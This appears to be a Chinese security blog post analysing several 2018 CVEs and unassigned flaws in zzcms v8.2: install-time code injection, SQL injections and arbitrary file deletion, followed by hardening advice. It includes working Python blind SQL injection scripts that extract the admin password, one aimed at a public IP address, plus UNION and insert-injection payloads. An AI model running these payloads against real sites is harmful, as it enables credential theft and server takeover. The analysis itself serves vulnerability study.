zzcms v8.2 中的衆多cve分析

看了一下最近的cve列表,發現有大佬怒刷了好多個cve,這個zzcms都快被審穿了,所以跟進學習一下

 

CMS背景

本文跟蹤的這個cms,屬於一個開源招商網站管理系統,屬於比較小的cms,所以很多地方寫的不是很完善,導致了漏洞的產生,項目官網爲http://www.zzcms.net/,本次我跟進的版本爲8.2。

 

CVE-2018-8966

首先,這是一個在安裝的時候的代碼注入,如果不配合其他漏洞刪除安裝後產生的鎖文件install.lock,這個漏洞在實際環境中將毫無作用。
下面我們來具體分析一下漏洞產生的原因:
系統在安裝的過程中,對輸入的變量並沒有任何過濾就寫入了文件,所以我們只要閉合有關代碼,然後注入命令就可以拿到shell。
下面開始復現:

復現成功,同理,這裏既然能插入php代碼,那也可以插入一端javascript代碼,造成存儲型xss,具體流程不在分析。

 

CVE-2018-8967

這是一個前臺的sql注入,可以獲取管理員密碼的賬號密碼,問題出在了/user/adv2.php下面我們分析一下代碼:

這裏整個cms還是對傳入的cms進行了過濾的,過濾代碼在/inc/stopsqlin.php,但是在這個地方,是沒有對sql變量用引號包裹,所以不用單引號也可以直接進行sql注入。

但是這個地方想要注入,前面需要滿足一定的條件,見下圖
至少要讓這兩個數據出來的值有一個是1,否則將不會進入注入的代碼。
這裏的坑點比較多,簡單講下吧,有一個知識點:

select * from zzcms_ad where id =1 or sleep(4);
按照常理這個會延時,但是如果表中是空的,那這個將不會有任何延時

所以我們在注入的時候,要保證表中有數據,才能正常延時盲注的
所以這裏要利用這個盲注,需要滿足的條件有:

  1. 註冊爲企業用戶,並且通過審覈
  2. 發佈廣告,報賬zzcms_main中,有一條記錄
  3. 整個網站的廣告表zzcms_add中需要至少有一條數據

當上面的條件都滿足的時候,就可以進行注入了,下面貼一下paylaod:

import requests
import string
s = requests.session()
url = "http://127.0.0.1:8000/user/adv2.php?action=modify"
cookies = {
'UserName':'test1',#換成你註冊的企業用戶的用戶名
}
flag = ''
for i in range(1,40):
    for j in range(33,125):
        data = {
            'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}
        try:
            r = s.post(url,data=data,cookies=cookies,timeout=1)
        except:
            flag += chr(j)
            print flag
            break
print flag

實際測試截圖:

 

CVE-2018-8965

這是一個任意文件刪除漏洞,危害還是很大的,配合上面的安裝過程中的getshell,還是可以有很大的攻擊面
出問題的代碼在:/user/ppsave.php
可以發現並沒有什麼驗證,只是判斷了一下是不是和之前的或者默認的一樣,然後只要文件存在,就使用了unlink刪除了文件.
所以這個漏洞分析和利用都很簡單
我們刪除了安裝的鎖文件/install/install.lock
然後就可以重新安裝zzcms,從而配合上文分析的漏洞獲取shell。

CVE-2018-9309

又是一枚sql注入漏洞,不過這個也是一個需要登陸,需要設置相關信息才能利用的漏洞。屬於設計不當。
首先我們看一下出問題的核心代碼:

if (!empty($_POST["sql"])){//從模板中獲取SQL內容,爲發送對像
    $_SESSION['sql']=stripfxg($_POST["sql"]);
}
$sql=$_SESSION['sql'];
$sql2=$sql." order by id asc limit $n,$size";
$rs=query($sql2); 
$row=num_rows($rs);

可以發現這裏將post參數中的sql進行了解碼放進了session中,而stripfxg函數代碼如下:

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜槓 
$string=stripslashes($string);//去反斜槓,不開get_magic_quotes_gpc 的情況下,在stopsqlin中都加上了,這裏要去了
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//轉html實體符號
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string; 
}

可以發現並不是什麼過濾,所以這裏直接拼接進入sql中是及其危險的,後面還有一些沒有申請cve的漏洞也是因爲調用了這個函數,導致了過濾失效。
代碼利用也是比較簡單的:

127.0.0.1/dl/dl_sendmail.php
post數據爲:
sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#

下面是執行結果:

 

CVE-2018-9331

有一枚任意文件刪除漏洞,不得不說這個系統在這個的判斷上真的是很有問題
這次產生問題的文件在/user/adv.php
也是一個oldimgimg對比產生的問題

和上面分析類似,都是隻判斷了是否和原來的相同,然後拼接了../就直接調用unlink,所以利用也很簡單
只需要將html中表單屬性的hidden刪掉,然後直接輸入想要刪除的文件名就可以啦

 

沒有申請cve的漏洞

有幾個sql注入比較嚴重,下面逐個分析一下

No.1 getip()未過濾

出問題的代碼在/user/check.php
在檢查用戶登錄的位置,發現會調用getip()這個函數,我們跟進看一下:
發現並沒有過濾,可以直接注入xff頭,來進行注入,注入腳本如下:

import requests
import string
s = requests.session()
url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以
cookies = {
'UserName':'test1',
'PassWord':'21232f297a57a5a743894a0e4a801fc3'
}
flag = ''
for i in range(1,40):
    print i
    for j in range(33,125):
        head = {
            'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}
        try:
            r = s.post(url,headers=head,cookies=cookies,timeout=9)
        except:
            flag += chr(j)
            print flag
            break
print flag

測試截圖爲:

No.2 del.php未過濾

第二個注入產生的根源還是過濾的不夠嚴格,全局的注入過濾,在沒有引號的地方可以隨意注入,出問題的代碼在/user/del.php
不過這個注入有一個前提,我們需要先發佈一個諮詢信息,然後管理員審覈過以後,就可以利用來注入了,這個在實際場景中,還是可以實現的。
可以看到,直接將tablename拼接進入了sql語句中,所以利用起來難度也不是很大,但是這裏並沒有回顯,所以需要使用時間盲注,或者dns log外帶的方法來獲取數據。

No.3 stripfxg過濾不完整

在整個系統中,還有個函數是非常危險的,他可以將全局過濾還原成正常的數據,如果這個數據帶入了sql查詢中,是可以直接造成注入的。
代碼邏輯:
所以這裏的利用也是比較簡單的:

POST /user/msg.php?action=savedata&saveas=add 
參數爲:
info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

這裏有一個注入的小技巧,就是在做insert注入和update注入的時候,除了能夠多僞造一組數據以外,還可以使用這種異或符號加上sleep函數來延時注入
insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#

驗證截圖:

 

總結

系統存在的問題:

  1. 系統在實現邏輯的過程中,存在了太多了沒有過濾直接帶入邏輯的情況,這在很多大的框架中是不存在的,建議可以自己封裝一層,在封裝層中間實現好過濾,用起來也很方便
  2. 系統對用戶文件的存儲刪除有很大問題,很多在刪除用戶文件的時候,並沒有檢查是不是合法,就直接unlink了,這可以導致很大的問題。
  3. 系統在很多地方很輕易的就將自己的過濾去掉了,核心就是那個stripfxg函數,建議減少這個函數的使用,保證所有變量都經過了過濾。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章